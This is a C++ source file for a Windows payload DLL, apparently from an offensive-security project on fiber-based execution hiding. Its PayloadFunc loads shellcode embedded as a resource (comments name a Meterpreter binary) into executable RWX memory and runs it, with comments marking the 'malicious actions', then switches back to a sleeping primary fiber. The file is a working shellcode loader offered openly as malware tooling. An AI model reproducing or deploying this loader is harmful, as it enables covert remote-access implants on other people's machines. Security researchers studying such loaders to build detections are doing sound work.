// dllmain.cpp : Defines the entry point for the DLL application. #include #include #include "resource.h" #include extern "C" __declspec(dllexport) void PayloadFunc(LPVOID lpFiber); HMODULE hModulePayloadDll = NULL; void* shellcodeAddr = NULL; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { hModulePayloadDll = hModule; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } void LoadShellcodeFromResource() { // IDR_SHELLCODE_BIN1 - is the resource ID - which contains the shellcode // SHELLCODE_BIN is the resource type name we chose earlier when embedding the meterpreter.bin HRSRC shellcodeResource = FindResource(hModulePayloadDll, MAKEINTRESOURCE(IDR_SHELLCODE_BIN1), L"SHELLCODE_BIN"); DWORD shellcodeSize = SizeofResource(hModulePayloadDll, shellcodeResource); HGLOBAL shellcodeResouceData = LoadResource(hModulePayloadDll, shellcodeResource); shellcodeAddr = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcodeAddr, shellcodeResouceData, shellcodeSize); } void PayloadFunc(LPVOID lpFiber) { // Load our shellcode from DLL resource. // Make sure shellcode returns without quitting otherwise Fiber & Thread will exit. LoadShellcodeFromResource(); while (true) { printf("[+] Executing as Unmasked Payload Fiber\n"); /* * START MALICIOUS ACTIONS! */ printf("\t[+] Executing shellcode from resource inside payload DLL\n"); ((void(*)())shellcodeAddr)(); /* * END MALICIOUS ACTIONS */ // printf("\t[+] Waiting in Payload Fiber\n"); // Sleep(10000); // 10 seconds // Supply address of primary (sleeping) fiber to switch back to printf("\t[+] Supplied return Fiber address: 0x%llx\n", (uint64_t)lpFiber); printf("\t[+] Switching back to primary Fiber\n"); SwitchToFiber(lpFiber); // ->Resumption point here<- Hence using while true loop to prevent exiting } }